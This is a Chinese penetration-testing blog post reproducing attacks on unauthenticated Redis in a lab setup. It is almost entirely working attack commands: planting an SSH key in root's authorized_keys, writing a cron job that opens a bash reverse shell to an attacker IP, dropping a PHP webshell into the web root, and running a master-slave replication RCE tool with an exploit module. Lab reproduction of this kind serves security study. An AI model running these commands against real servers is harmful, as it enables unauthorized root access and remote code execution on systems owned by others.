1. 首页
  2. 渗透测试

漏洞复现系列之Redis

  • 环境搭建

在虚拟机中搭建redis服务

漏洞复现系列之Redis
  • 测试连接

漏洞复现系列之Redis

写ssh-keygen公钥登陆

  • 首先在本地生产公私钥文件
ssh-keygen –t rsa

漏洞复现系列之Redis
  • 公钥写入 key.txt 文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt

漏洞复现系列之Redis
  • 连接 Redis 写入文件
cat test.txt | redis-cli -h 192.168.1.103 -x set crackit
redis-cli -h 192.168.1.103
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

漏洞复现系列之Redis
  • 私钥登陆
ssh -i id_rsa [email protected]

漏洞复现系列之Redis

利用计划任务执行命令反弹shell

  • 监听一个端口
nc -lvvp 6666

漏洞复现系列之Redis
  • 写入反弹shell
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/6666 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

漏洞复现系列之Redis
  • 反弹shell

漏洞复现系列之Redis

WEB目录写webshell

  • 写shell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

漏洞复现系列之Redis

漏洞复现系列之Redis

基于主从复制的RCE

  • 影响范围
Redis 4.x/5.x
  • 工具下载地址
https://github.com/jas502n/Redis-RCE.git
  • 主从利用
python redis-rce.py -r 192.168.1.103 -p 6379 -L 192.168.1.101 -f exp_lin.so

漏洞复现系列之Redis

原创文章,作者:syst1m,未经授权禁止转载!如若转载,请联系作者:syst1m

联系我们

在线咨询:点击这里给我发消息

QR code